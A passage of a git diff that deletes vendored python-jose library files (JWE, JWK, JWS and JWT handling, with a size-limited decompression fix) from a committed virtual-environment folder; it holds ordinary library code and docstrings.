enough segments") - except (TypeError, binascii.Error): - raise JWEParseError("Invalid header") - - # Verify that the octet sequence resulting from decoding the - # encoded JWE Protected Header is a UTF-8-encoded representation - # of a completely valid JSON object conforming to RFC 7159 - # [RFC7159]; let the JWE Protected Header be this JSON object. - # - # If using the JWE Compact Serialization, let the JOSE Header be - # the JWE Protected Header. Otherwise, when using the JWE JSON - # Serialization, let the JOSE Header be the union of the members - # of the JWE Protected Header, the JWE Shared Unprotected Header - # and the corresponding JWE Per-Recipient Unprotected Header, all - # of which must be completely valid JSON objects. During this - # step, verify that the resulting JOSE Header does not contain - # duplicate Header Parameter names. When using the JWE JSON - # Serialization, this restriction includes that the same Header - # Parameter name also MUST NOT occur in distinct JSON object - # values that together comprise the JOSE Header. - - try: - header = json.loads(header_data) - except ValueError as e: - raise JWEParseError(f"Invalid header string: {e}") - - if not isinstance(header, Mapping): - raise JWEParseError("Invalid header string: must be a json object") - - try: - encrypted_key = base64url_decode(encrypted_key_segment) - except (TypeError, binascii.Error): - raise JWEParseError("Invalid encrypted key") - - try: - iv = base64url_decode(iv_segment) - except (TypeError, binascii.Error): - raise JWEParseError("Invalid IV") - - try: - ciphertext = base64url_decode(cipher_text_segment) - except (TypeError, binascii.Error): - raise JWEParseError("Invalid cyphertext") - - try: - auth_tag = base64url_decode(auth_tag_segment) - except (TypeError, binascii.Error): - raise JWEParseError("Invalid auth tag") - - return header, header_segment, encrypted_key, iv, ciphertext, auth_tag - - -def _encoded_header(alg, enc, zip, cty, kid): - """ - Generate an appropriate JOSE header based on the values provided - Args: - alg (str): Key wrap/negotiation algorithm - enc (str): Encryption algorithm - zip (str): Compression method - cty (str): Content type of the encrypted data - kid (str): ID for the key used for the operation - - Returns: - bytes: JSON object of header based on input - """ - header = {"alg": alg, "enc": enc} - if zip: - header["zip"] = zip - if cty: - header["cty"] = cty - if kid: - header["kid"] = kid - json_header = json.dumps( - header, - separators=(",", ":"), - sort_keys=True, - ).encode("utf-8") - return base64url_encode(json_header) - - -def _big_endian(int_val): - return pack("!Q", int_val) - - -def _encrypt_and_auth(key, alg, enc, zip, plaintext, aad): - """ - Generate a content encryption key (cek) and initialization - vector (iv) based on enc and alg, compress the plaintext based on zip, - encrypt the compressed plaintext using the cek and iv based on enc - - Args: - key (Key): The key provided for encryption - alg (str): The algorithm use for key wrap/negotiation - enc (str): The encryption algorithm with which to encrypt the plaintext - zip (str): The compression algorithm with which to compress the plaintext - plaintext (bytes): The data to encrypt - aad (str): Additional authentication data utilized for generating an - auth tag - - Returns: - (bytes, bytes, bytes, bytes): A tuple of the following data - (key wrapped cek, iv, cipher text, auth tag) - """ - try: - cek_bytes, kw_cek = _get_cek(enc, alg, key) - except NotImplementedError: - raise JWEError(f"alg {alg} is not implemented") - - if enc in ALGORITHMS.HMAC_AUTH_TAG: - encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc) - iv, ciphertext, tag = encryption_key.encrypt(plaintext, aad) - auth_tag = _auth_tag(ciphertext, iv, aad, mac_key, key_len) - elif enc in ALGORITHMS.GCM: - encryption_key = jwk.construct(cek_bytes, enc) - iv, ciphertext, auth_tag = encryption_key.encrypt(plaintext, aad) - else: - raise NotImplementedError(f"enc {enc} is not implemented!") - - return kw_cek, iv, ciphertext, auth_tag - - -def _get_hmac_key(enc, mac_key_bytes): - """ - Get an HMACKey for the provided encryption algorithm and key bytes - - Args: - enc (str): Encryption algorithm - mac_key_bytes (bytes): vytes for the HMAC key - - Returns: - (HMACKey): The key to perform HMAC actions - """ - _, hash_alg = enc.split("-") - mac_key = jwk.construct(mac_key_bytes, hash_alg) - return mac_key - - -def _compress(zip, plaintext): - """ - Compress the plaintext based on the algorithm supplied - - Args: - zip (str): Compression Algorithm - plaintext (bytes): plaintext to compress - - Returns: - (bytes): Compressed plaintext - """ - if zip not in ZIPS.SUPPORTED: - raise NotImplementedError(f"ZIP {zip} is not supported!") - if zip is None: - compressed = plaintext - elif zip == ZIPS.DEF: - compressed = zlib.compress(plaintext) - else: - raise NotImplementedError(f"ZIP {zip} is not implemented!") - return compressed - - -def _decompress(zip, compressed): - """ - Decompress the plaintext based on the algorithm supplied - - Args: - zip (str): Compression Algorithm - plaintext (bytes): plaintext to decompress - - Returns: - (bytes): Compressed plaintext - """ - if zip not in ZIPS.SUPPORTED: - raise NotImplementedError(f"ZIP {zip} is not supported!") - if zip is None: - decompressed = compressed - elif zip == ZIPS.DEF: - # If, during decompression, there is more data than expected, the - # decompression halts and raise an error. This addresses CVE-2024-33664 - decompressor = zlib.decompressobj() - decompressed = decompressor.decompress(compressed, max_length=JWE_SIZE_LIMIT) - if decompressor.unconsumed_tail: - raise JWEError(f"Decompressed JWE string exceeds {JWE_SIZE_LIMIT} bytes") - else: - raise NotImplementedError(f"ZIP {zip} is not implemented!") - return decompressed - - -def _get_cek(enc, alg, key): - """ - Get the content encryption key - - Args: - enc (str): Encryption algorithm - alg (str): kwy wrap/negotiation algorithm - key (Key): Key provided to encryption method - - Return: - (bytes, bytes): Tuple of (cek bytes and wrapped cek) - """ - if alg == ALGORITHMS.DIR: - cek, wrapped_cek = _get_direct_key_wrap_cek(key) - else: - cek, wrapped_cek = _get_key_wrap_cek(enc, key) - - return cek, wrapped_cek - - -def _get_direct_key_wrap_cek(key): - """ - Get the cek and wrapped cek from the encryption key direct - - Args: - key (Key): Key provided to encryption method - - Return: - (Key, bytes): Tuple of (cek Key object and wrapped cek) - """ - # Get the JWK data to determine how to derive the cek - jwk_data = key.to_dict() - if jwk_data["kty"] == "oct": - # Get the last half of an octal key as the cek - cek_bytes = _get_key_bytes_from_key(key) - wrapped_cek = b"" - else: - raise NotImplementedError("JWK type {} not supported!".format(jwk_data["kty"])) - return cek_bytes, wrapped_cek - - -def _get_key_bytes_from_key(key): - """ - Get the raw key bytes from a Key object - - Args: - key (Key): Key from which to extract the raw key bytes - Returns: - (bytes) key data - """ - jwk_data = key.to_dict() - encoded_key = jwk_data["k"] - cek_bytes = base64url_decode(encoded_key) - return cek_bytes - - -def _get_key_wrap_cek(enc, key): - """_get_rsa_key_wrap_cek - Get the content encryption key for RSA key wrap - - Args: - enc (str): Encryption algorithm - key (Key): Key provided to encryption method - - Returns: - (Key, bytes): Tuple of (cek Key object and wrapped cek) - """ - cek_bytes = _get_random_cek_bytes_for_enc(enc) - wrapped_cek = key.wrap_key(cek_bytes) - return cek_bytes, wrapped_cek - - -def _get_random_cek_bytes_for_enc(enc): - """ - Get the random cek bytes based on the encryption algorithm - - Args: - enc (str): Encryption algorithm - - Returns: - (bytes) random bytes for cek key - """ - if enc == ALGORITHMS.A128GCM: - num_bits = 128 - elif enc == ALGORITHMS.A192GCM: - num_bits = 192 - elif enc in (ALGORITHMS.A128CBC_HS256, ALGORITHMS.A256GCM): - num_bits = 256 - elif enc == ALGORITHMS.A192CBC_HS384: - num_bits = 384 - elif enc == ALGORITHMS.A256CBC_HS512: - num_bits = 512 - else: - raise NotImplementedError(f"{enc} not supported") - cek_bytes = get_random_bytes(num_bits // 8) - return cek_bytes - - -def _auth_tag(ciphertext, iv, aad, mac_key, tag_length): - """ - Get ann auth tag from the provided data - - Args: - ciphertext (bytes): Encrypted value - iv (bytes): Initialization vector - aad (bytes): Additional Authenticated Data - mac_key (bytes): Key to use in generating the MAC - tag_length (int): How log the tag should be - - Returns: - (bytes) Auth tag - """ - al = _big_endian(len(aad) * 8) - auth_tag_input = aad + iv + ciphertext + al - signature = mac_key.sign(auth_tag_input) - auth_tag = signature[0:tag_length] - return auth_tag - - -def _jwe_compact_serialize(encoded_header, encrypted_cek, iv, cipher_text, auth_tag): - """ - Generate a compact serialized JWE - - Args: - encoded_header (bytes): Base64 URL Encoded JWE header JSON - encrypted_cek (bytes): Encrypted content encryption key (cek) - iv (bytes): Initialization vector (IV) - cipher_text (bytes): Cipher text - auth_tag (bytes): JWE Auth Tag - - Returns: - (str): JWE compact serialized string - """ - cipher_text = ensure_binary(cipher_text) - encoded_encrypted_cek = base64url_encode(encrypted_cek) - encoded_iv = base64url_encode(iv) - encoded_cipher_text = base64url_encode(cipher_text) - encoded_auth_tag = base64url_encode(auth_tag) - return ( - encoded_header - + b"." - + encoded_encrypted_cek - + b"." - + encoded_iv - + b"." - + encoded_cipher_text - + b"." - + encoded_auth_tag - ) diff --git a/venv/Lib/site-packages/jose/jwk.py b/venv/Lib/site-packages/jose/jwk.py deleted file mode 100644 index 2a31847547073c729e09d4b4e4e19bedd70927e6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/jwk.py +++ /dev/null @@ -1,79 +0,0 @@ -from jose.backends.base import Key -from jose.constants import ALGORITHMS -from jose.exceptions import JWKError - -try: - from jose.backends import RSAKey # noqa: F401 -except ImportError: - pass - -try: - from jose.backends import ECKey # noqa: F401 -except ImportError: - pass - -try: - from jose.backends import AESKey # noqa: F401 -except ImportError: - pass - -try: - from jose.backends import DIRKey # noqa: F401 -except ImportError: - pass - -try: - from jose.backends import HMACKey # noqa: F401 -except ImportError: - pass - - -def get_key(algorithm): - if algorithm in ALGORITHMS.KEYS: - return ALGORITHMS.KEYS[algorithm] - elif algorithm in ALGORITHMS.HMAC: # noqa: F811 - return HMACKey - elif algorithm in ALGORITHMS.RSA: - from jose.backends import RSAKey # noqa: F811 - - return RSAKey - elif algorithm in ALGORITHMS.EC: - from jose.backends import ECKey # noqa: F811 - - return ECKey - elif algorithm in ALGORITHMS.AES: - from jose.backends import AESKey # noqa: F811 - - return AESKey - elif algorithm == ALGORITHMS.DIR: - from jose.backends import DIRKey # noqa: F811 - - return DIRKey - return None - - -def register_key(algorithm, key_class): - if not issubclass(key_class, Key): - raise TypeError("Key class is not a subclass of jwk.Key") - ALGORITHMS.KEYS[algorithm] = key_class - ALGORITHMS.SUPPORTED.add(algorithm) - return True - - -def construct(key_data, algorithm=None): - """ - Construct a Key object for the given algorithm with the given - key_data. - """ - - # Allow for pulling the algorithm off of the passed in jwk. - if not algorithm and isinstance(key_data, dict): - algorithm = key_data.get("alg", None) - - if not algorithm: - raise JWKError("Unable to find an algorithm for key") - - key_class = get_key(algorithm) - if not key_class: - raise JWKError("Unable to find an algorithm for key") - return key_class(key_data, algorithm) diff --git a/venv/Lib/site-packages/jose/jws.py b/venv/Lib/site-packages/jose/jws.py deleted file mode 100644 index 27f6b79a2a26620b6125750bebee3a2110e6edce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/jws.py +++ /dev/null @@ -1,268 +0,0 @@ -import binascii -import json - -try: - from collections.abc import Iterable, Mapping -except ImportError: - from collections import Mapping, Iterable - -from jose import jwk -from jose.backends.base import Key -from jose.constants import ALGORITHMS -from jose.exceptions import JWSError, JWSSignatureError -from jose.utils import base64url_decode, base64url_encode - - -def sign(payload, key, headers=None, algorithm=ALGORITHMS.HS256): - """Signs a claims set and returns a JWS string. - - Args: - payload (str or dict): A string to sign - key (str or dict): The key to use for signing the claim set. Can be - individual JWK or JWK set. - headers (dict, optional): A set of headers that will be added to - the default headers. Any headers that are added as additional - headers will override the default headers. - algorithm (str, optional): The algorithm to use for signing the - the claims. Defaults to HS256. - - Returns: - str: The string representation of the header, claims, and signature. - - Raises: - JWSError: If there is an error signing the token. - - Examples: - - >>> jws.sign({'a': 'b'}, 'secret', algorithm='HS256') - 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhIjoiYiJ9.jiMyrsmD8AoHWeQgmxZ5yq8z0lXS67_QGs52AzC8Ru8' - - """ - - if algorithm not in ALGORITHMS.SUPPORTED: - raise JWSError("Algorithm %s not supported." % algorithm) - - encoded_header = _encode_header(algorithm, additional_headers=headers) - encoded_payload = _encode_payload(payload) - signed_output = _sign_header_and_claims(encoded_header, encoded_payload, algorithm, key) - - return signed_output - - -def verify(token, key, algorithms, verify=True): - """Verifies a JWS string's signature. - - Args: - token (str): A signed JWS to be verified. - key (str or dict): A key to attempt to verify the payload with. Can be - individual JWK or JWK set. - algorithms (str or list): Valid algorithms that should be used to verify the JWS. - - Returns: - str: The str representation of the payload, assuming the signature is valid. - - Raises: - JWSError: If there is an exception verifying a token. - - Examples: - - >>> token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhIjoiYiJ9.jiMyrsmD8AoHWeQgmxZ5yq8z0lXS67_QGs52AzC8Ru8' - >>> jws.verify(token, 'secret', algorithms='HS256') - - """ - - header, payload, signing_input, signature = _load(token) - - if verify: - _verify_signature(signing_input, header, signature, key, algorithms) - - return payload - - -def get_unverified_header(token): - """Returns the decoded headers without verification of any kind. - - Args: - token (str): A signed JWS to decode the headers from. - - Returns: - dict: The dict representation of the token headers. - - Raises: - JWSError: If there is an exception decoding the token. - """ - header, claims, signing_input, signature = _load(token) - return header - - -def get_unverified_headers(token): - """Returns the decoded headers without verification of any kind. - - This is simply a wrapper of get_unverified_header() for backwards - compatibility. - - Args: - token (str): A signed JWS to decode the headers from. - - Returns: - dict: The dict representation of the token headers. - - Raises: - JWSError: If there is an exception decoding the token. - """ - return get_unverified_header(token) - - -def get_unverified_claims(token): - """Returns the decoded claims without verification of any kind. - - Args: - token (str): A signed JWS to decode the headers from. - - Returns: - str: The str representation of the token claims. - - Raises: - JWSError: If there is an exception decoding the token. - """ - header, claims, signing_input, signature = _load(token) - return claims - - -def _encode_header(algorithm, additional_headers=None): - header = {"typ": "JWT", "alg": algorithm} - - if additional_headers: - header.update(additional_headers) - - json_header = json.dumps( - header, - separators=(",", ":"), - sort_keys=True, - ).encode("utf-8") - - return base64url_encode(json_header) - - -def _encode_payload(payload): - if isinstance(payload, Mapping): - try: - payload = json.dumps( - payload, - separators=(",", ":"), - ).encode("utf-8") - except ValueError: - pass - - return base64url_encode(payload) - - -def _sign_header_and_claims(encoded_header, encoded_claims, algorithm, key): - signing_input = b".".join([encoded_header, encoded_claims]) - try: - if not isinstance(key, Key): - key = jwk.construct(key, algorithm) - signature = key.sign(signing_input) - except Exception as e: - raise JWSError(e) - - encoded_signature = base64url_encode(signature) - - encoded_string = b".".join([encoded_header, encoded_claims, encoded_signature]) - - return encoded_string.decode("utf-8") - - -def _load(jwt): - if isinstance(jwt, str): - jwt = jwt.encode("utf-8") - try: - signing_input, crypto_segment = jwt.rsplit(b".", 1) - header_segment, claims_segment = signing_input.split(b".", 1) - header_data = base64url_decode(header_segment) - except ValueError: - raise JWSError("Not enough segments") - except (TypeError, binascii.Error): - raise JWSError("Invalid header padding") - - try: - header = json.loads(header_data.decode("utf-8")) - except ValueError as e: - raise JWSError("Invalid header string: %s" % e) - - if not isinstance(header, Mapping): - raise JWSError("Invalid header string: must be a json object") - - try: - payload = base64url_decode(claims_segment) - except (TypeError, binascii.Error): - raise JWSError("Invalid payload padding") - - try: - signature = base64url_decode(crypto_segment) - except (TypeError, binascii.Error): - raise JWSError("Invalid crypto padding") - - return (header, payload, signing_input, signature) - - -def _sig_matches_keys(keys, signing_input, signature, alg): - for key in keys: - if not isinstance(key, Key): - key = jwk.construct(key, alg) - try: - if key.verify(signing_input, signature): - return True - except Exception: - pass - return False - - -def _get_keys(key): - if isinstance(key, Key): - return (key,) - - try: - key = json.loads(key, parse_int=str, parse_float=str) - except Exception: - pass - - if isinstance(key, Mapping): - if "keys" in key: - # JWK Set per RFC 7517 - return key["keys"] - elif "kty" in key: - # Individual JWK per RFC 7517 - return (key,) - else: - # Some other mapping. Firebase uses just dict of kid, cert pairs - values = key.values() - if values: - return values - return (key,) - - # Iterable but not text or mapping => list- or tuple-like - elif isinstance(key, Iterable) and not (isinstance(key, str) or isinstance(key, bytes)): - return key - - # Scalar value, wrap in tuple. - else: - return (key,) - - -def _verify_signature(signing_input, header, signature, key="", algorithms=None): - alg = header.get("alg") - if not alg: - raise JWSError("No algorithm was specified in the JWS header.") - - if algorithms is not None and alg not in algorithms: - raise JWSError("The specified alg value is not allowed") - - keys = _get_keys(key) - try: - if not _sig_matches_keys(keys, signing_input, signature, alg): - raise JWSSignatureError() - except JWSSignatureError: - raise JWSError("Signature verification failed.") - except JWSError: - raise JWSError("Invalid or unsupported algorithm: %s" % alg) diff --git a/venv/Lib/site-packages/jose/jwt.py b/venv/Lib/site-packages/jose/jwt.py deleted file mode 100644 index f47e4ddfbe55c545dbb05e5fa546f151a0f85a69..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/jwt.py +++ /dev/null @@ -1,512 +0,0 @@ -import json -from calendar import timegm -from datetime import datetime, timedelta - -try: - from collections.abc import Mapping -except ImportError: - from collections import Mapping - -try: - from datetime import UTC # Preferred in Python 3.13+ -except ImportError: - from datetime import timezone - - UTC = timezone.utc # Preferred in Python 3.12 and below - -from jose import jws - -from .constants import ALGORITHMS -from .exceptions import ExpiredSignatureError, JWSError, JWTClaimsError, JWTError -from .utils import calculate_at_hash, timedelta_total_seconds - - -def encode(claims, key, algorithm=ALGORITHMS.HS256, headers=None, access_token=None): - """Encodes a claims set and returns a JWT string. - - JWTs are JWS signed objects with a few reserved claims. - - Args: - claims (dict): A claims set to sign - key (str or dict): The key to use for signing the claim set. Can be - individual JWK or JWK set. - algorithm (str, optional): The algorithm to use for signing the - the claims. Defaults to HS256. - headers (dict, optional): A set of headers that will be added to - the default headers. Any headers that are added as additional - headers will override the default headers. - access_token (str, optional): If present, the 'at_hash' claim will - be calculated and added to the claims present in the 'claims' - parameter. - - Returns: - str: The string representation of the header, claims, and signature. - - Raises: - JWTError: If there is an error encoding the claims. - - Examples: - - >>> jwt.encode({'a': 'b'}, 'secret', algorithm='HS256') - 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhIjoiYiJ9.jiMyrsmD8AoHWeQgmxZ5yq8z0lXS67_QGs52AzC8Ru8' - - """ - - for time_claim in ["exp", "iat", "nbf"]: - # Convert datetime to a intDate value in known time-format claims - if isinstance(claims.get(time_claim), datetime): - claims[time_claim] = timegm(claims[time_claim].utctimetuple()) - - if access_token: - claims["at_hash"] = calculate_at_hash(access_token, ALGORITHMS.HASHES[algorithm]) - - return jws.sign(claims, key, headers=headers, algorithm=algorithm) - - -def decode(token, key, algorithms=None, options=None, audience=None, issuer=None, subject=None, access_token=None): - """Verifies a JWT string's signature and validates reserved claims. - - Args: - token (str): A signed JWS to be verified. - key (str or iterable): A key to attempt to verify the payload with. - This can be simple string with an individual key (e.g. "a1234"), - a tuple or list of keys (e.g. ("a1234...", "b3579"), - a JSON string, (e.g. '["a1234", "b3579"]'), - a dict with the 'keys' key that gives a tuple or list of keys (e.g {'keys': [...]} ) or - a dict or JSON string for a JWK set as defined by RFC 7517 (e.g. - {'keys': [{'kty': 'oct', 'k': 'YTEyMzQ'}, {'kty': 'oct', 'k':'YjM1Nzk'}]} or - '{"keys": [{"kty":"oct","k":"YTEyMzQ"},{"kty":"oct","k":"YjM1Nzk"}]}' - ) in which case the keys must be base64 url safe encoded (with optional padding). - algorithms (str or list): Valid algorithms that should be used to verify the JWS. - audience (str): The intended audience of the token. If the "aud" claim is - included in the claim set, then the audience must be included and must equal - the provided claim. - issuer (str or iterable): Acceptable value(s) for the issuer of the token. - If the "iss" claim is included in the claim set, then the issuer must be - given and the claim in the token must be among the acceptable values. - subject (str): The subject of the token. If the "sub" claim is - included in the claim set, then the subject must be included and must equal - the provided claim. - access_token (str): An access token string. If the "at_hash" claim is included in the - claim set, then the access_token must be included, and it must match - the "at_hash" claim. - options (dict): A dictionary of options for skipping validation steps. - - defaults = { - 'verify_signature': True, - 'verify_aud': True, - 'verify_iat': True, - 'verify_exp': True, - 'verify_nbf': True, - 'verify_iss': True, - 'verify_sub': True, - 'verify_jti': True, - 'verify_at_hash': True, - 'require_aud': False, - 'require_iat': False, - 'require_exp': False, - 'require_nbf': False, - 'require_iss': False, - 'require_sub': False, - 'require_jti': False, - 'require_at_hash': False, - 'leeway': 0, - } - - Returns: - dict: The dict representation of the claims set, assuming the signature is valid - and all requested data validation passes. - - Raises: - JWTError: If the signature is invalid in any way. - ExpiredSignatureError: If the signature has expired. - JWTClaimsError: If any claim is invalid in any way. - - Examples: - - >>> payload = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhIjoiYiJ9.jiMyrsmD8AoHWeQgmxZ5yq8z0lXS67_QGs52AzC8Ru8' - >>> jwt.decode(payload, 'secret', algorithms='HS256') - - """ - - defaults = { - "verify_signature": True, - "verify_aud": True, - "verify_iat": True, - "verify_exp": True, - "verify_nbf": True, - "verify_iss": True, - "verify_sub": True, - "verify_jti": True, - "verify_at_hash": True, - "require_aud": False, - "require_iat": False, - "require_exp": False, - "require_nbf": False, - "require_iss": False, - "require_sub": False, - "require_jti": False, - "require_at_hash": False, - "leeway": 0, - } - - if options: - defaults.update(options) - - verify_signature = defaults.get("verify_signature", True) - - try: - payload = jws.verify(token, key, algorithms, verify=verify_signature) - except JWSError as e: - raise JWTError(e) - - # Needed for at_hash verification - algorithm = jws.get_unverified_header(token)["alg"] - - try: - claims = json.loads(payload.decode("utf-8")) - except ValueError as e: - raise JWTError("Invalid payload string: %s" % e) - - if not isinstance(claims, Mapping): - raise JWTError("Invalid payload string: must be a json object") - - _validate_claims( - claims, - audience=audience, - issuer=issuer, - subject=subject, - algorithm=algorithm, - access_token=access_token, - options=defaults, - ) - - return claims - - -def get_unverified_header(token): - """Returns the decoded headers without verification of any kind. - - Args: - token (str): A signed JWT to decode the headers from. - - Returns: - dict: The dict representation of the token headers. - - Raises: - JWTError: If there is an exception decoding the token. - """ - try: - headers = jws.get_unverified_headers(token) - except Exception: - raise JWTError("Error decoding token headers.") - - return headers - - -def get_unverified_headers(token): - """Returns the decoded headers without verification of any kind. - - This is simply a wrapper of get_unverified_header() for backwards - compatibility. - - Args: - token (str): A signed JWT to decode the headers from. - - Returns: - dict: The dict representation of the token headers. - - Raises: - JWTError: If there is an exception decoding the token. - """ - return get_unverified_header(token) - - -def get_unverified_claims(token): - """Returns the decoded claims without verification of any kind. - - Args: - token (str): A signed JWT to decode the headers from. - - Returns: - dict: The dict representation of the token claims. - - Raises: - JWTError: If there is an exception decoding the token. - """ - try: - claims = jws.get_unverified_claims(token) - except Exception: - raise JWTError("Error decoding token claims.") - - try: - claims = json.loads(claims.decode("utf-8")) - except ValueError as e: - raise JWTError("Invalid claims string: %s" % e) - - if not isinstance(claims, Mapping): - raise JWTError("Invalid claims string: must be a json object") - - return claims - - -def _validate_iat(claims): - """Validates that the 'iat' claim is valid. - - The "iat" (issued at) claim identifies the time at which the JWT was - issued. This claim can be used to determine the age of the JWT. Its - value MUST be a number containing a NumericDate value. Use of this - claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - """ - - if "iat" not in claims: - return - - try: - int(claims["iat"]) - except ValueError: - raise JWTClaimsError("Issued At claim (iat) must be an integer.") - - -def _validate_nbf(claims, leeway=0): - """Validates that the 'nbf' claim is valid. - - The "nbf" (not before) claim identifies the time before which the JWT - MUST NOT be accepted for processing. The processing of the "nbf" - claim requires that the current date/time MUST be after or equal to - the not-before date/time listed in the "nbf" claim. Implementers MAY - provide for some small leeway, usually no more than a few minutes, to - account for clock skew. Its value MUST be a number containing a - NumericDate value. Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - leeway (int): The number of seconds of skew that is allowed. - """ - - if "nbf" not in claims: - return - - try: - nbf = int(claims["nbf"]) - except ValueError: - raise JWTClaimsError("Not Before claim (nbf) must be an integer.") - - now = timegm(datetime.now(UTC).utctimetuple()) - - if nbf > (now + leeway): - raise JWTClaimsError("The token is not yet valid (nbf)") - - -def _validate_exp(claims, leeway=0): - """Validates that the 'exp' claim is valid. - - The "exp" (expiration time) claim identifies the expiration time on - or after which the JWT MUST NOT be accepted for processing. The - processing of the "exp" claim requires that the current date/time - MUST be before the expiration date/time listed in the "exp" claim. - Implementers MAY provide for some small leeway, usually no more than - a few minutes, to account for clock skew. Its value MUST be a number - containing a NumericDate value. Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - leeway (int): The number of seconds of skew that is allowed. - """ - - if "exp" not in claims: - return - - try: - exp = int(claims["exp"]) - except ValueError: - raise JWTClaimsError("Expiration Time claim (exp) must be an integer.") - - now = timegm(datetime.now(UTC).utctimetuple()) - - if exp < (now - leeway): - raise ExpiredSignatureError("Signature has expired.") - - -def _validate_aud(claims, audience=None): - """Validates that the 'aud' claim is valid. - - The "aud" (audience) claim identifies the recipients that the JWT is - intended for. Each principal intended to process the JWT MUST - identify itself with a value in the audience claim. If the principal - processing the claim does not identify itself with a value in the - "aud" claim when this claim is present, then the JWT MUST be - rejected. In the general case, the "aud" value is an array of case- - sensitive strings, each containing a StringOrURI value. In the - special case when the JWT has one audience, the "aud" value MAY be a - single case-sensitive string containing a StringOrURI value. The - interpretation of audience values is generally application specific. - Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - audience (str): The audience that is verifying the token. - """ - - if "aud" not in claims: - # if audience: - # raise JWTError('Audience claim expected, but not in claims') - return - - audience_claims = claims["aud"] - if isinstance(audience_claims, str): - audience_claims = [audience_claims] - if not isinstance(audience_claims, list): - raise JWTClaimsError("Invalid claim format in token") - if any(not isinstance(c, str) for c in audience_claims): - raise JWTClaimsError("Invalid claim format in token") - if audience not in audience_claims: - raise JWTClaimsError("Invalid audience") - - -def _validate_iss(claims, issuer=None): - """Validates that the 'iss' claim is valid. - - The "iss" (issuer) claim identifies the principal that issued the - JWT. The processing of this claim is generally application specific. - The "iss" value is a case-sensitive string containing a StringOrURI - value. Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - issuer (str or iterable): Acceptable value(s) for the issuer that - signed the token. - """ - - if issuer is not None: - if isinstance(issuer, str): - issuer = (issuer,) - if claims.get("iss") not in issuer: - raise JWTClaimsError("Invalid issuer") - - -def _validate_sub(claims, subject=None): - """Validates that the 'sub' claim is valid. - - The "sub" (subject) claim identifies the principal that is the - subject of the JWT. The claims in a JWT are normally statements - about the subject. The subject value MUST either be scoped to be - locally unique in the context of the issuer or be globally unique. - The processing of this claim is generally application specific. The - "sub" value is a case-sensitive string containing a StringOrURI - value. Use of this claim is OPTIONAL. - - Arg - claims (dict): The claims dictionary to validate. - subject (str): The subject of the token. - """ - - if "sub" not in claims: - return - - if not isinstance(claims["sub"], str): - raise JWTClaimsError("Subject must be a string.") - - if subject is not None: - if claims.get("sub") != subject: - raise JWTClaimsError("Invalid subject") - - -def _validate_jti(claims): - """Validates that the 'jti' claim is valid. - - The "jti" (JWT ID) claim provides a unique identifier for the JWT. - The identifier value MUST be assigned in a manner that ensures that - there is a negligible probability that the same value will be - accidentally assigned to a different data object; if the application - uses multiple issuers, collisions MUST be prevented among values - produced by different issuers as well. The "jti" claim can be used - to prevent the JWT from being replayed. The "jti" value is a case- - sensitive string. Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - """ - if "jti" not in claims: - return - - if not isinstance(claims["jti"], str): - raise JWTClaimsError("JWT ID must be a string.") - - -def _validate_at_hash(claims, access_token, algorithm): - """ - Validates that the 'at_hash' is valid. - - Its value is the base64url encoding of the left-most half of the hash - of the octets of the ASCII representation of the access_token value, - where the hash algorithm used is the hash algorithm used in the alg - Header Parameter of the ID Token's JOSE Header. For instance, if the - alg is RS256, hash the access_token value with SHA-256, then take the - left-most 128 bits and base64url encode them. The at_hash value is a - case sensitive string. Use of this claim is OPTIONAL. - - Args: - claims (dict): The claims dictionary to validate. - access_token (str): The access token returned by the OpenID Provider. - algorithm (str): The algorithm used to sign the JWT, as specified by - the token headers. - """ - if "at_hash" not in claims: - return - - if not access_token: - msg = "No access_token provided to compare against at_hash claim." - raise JWTClaimsError(msg) - - try: - expected_hash = calculate_at_hash(access_token, ALGORITHMS.HASHES[algorithm]) - except (TypeError, ValueError): - msg = "Unable to calculate at_hash to verify against token claims." - raise JWTClaimsError(msg) - - if claims["at_hash"] != expected_hash: - raise JWTClaimsError("at_hash claim does not match access_token.") - - -def _validate_claims(claims, audience=None, issuer=None, subject=None, algorithm=None, access_token=None, options=None): - leeway = options.get("leeway", 0) - - if isinstance(leeway, timedelta): - leeway = timedelta_total_seconds(leeway) - required_claims = [e[len("require_") :] for e in options.keys() if e.startswith("require_") and options[e]] - for require_claim in required_claims: - if require_claim not in claims: - raise JWTError('missing required key "%s" among claims' % require_claim) - else: - options["verify_" + require_claim] = True # override verify when required - - if not isinstance(audience, ((str,), type(None))): - raise JWTError("audience must be a string or None") - - if options.get("verify_iat"): - _validate_iat(claims) - - if options.get("verify_nbf"): - _validate_nbf(claims, leeway=leeway) - - if options.get("verify_exp"): - _validate_exp(claims, leeway=leeway) - - if options.get("verify_aud"): - _validate_aud(claims, audience=audience) - - if options.get("verify_iss"): - _validate_iss(claims, issuer=issuer) - - if options.get("verify_sub"): - _validate_sub(claims, subject=subject) - - if options.get("verify_jti"): - _validate_jti(claims) - - if options.get("verify_at_hash"): - _validate_at_hash(claims, access_token, algorithm) diff --git a/venv/Lib/site-packages/jose/utils.py b/venv/Lib/site-packages/jose/utils.py deleted file mode 100644 index d62cafb0ec55202af5667667f69d05ff82bc9917..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jose/utils.py +++ /dev/null @@ -1,165 +0,0 @@ -import base64 -import re -import struct - -# Piggyback of the backends implementation of the function that converts a long -# to a bytes stream. Some plumbing is necessary to have the signatures match. -try: - from cryptography.utils import int_to_bytes as _long_to_bytes - - def long_to_bytes(n, blocksize=0): - return _long_to_bytes(n, blocksize or None) - -except ImportError: - from ecdsa.ecdsa import int_to_string as _long_to_bytes - - def long_to_bytes(n, blocksize=0): - ret = _long_to_bytes(n) - if blocksize == 0: - return ret - else: - assert 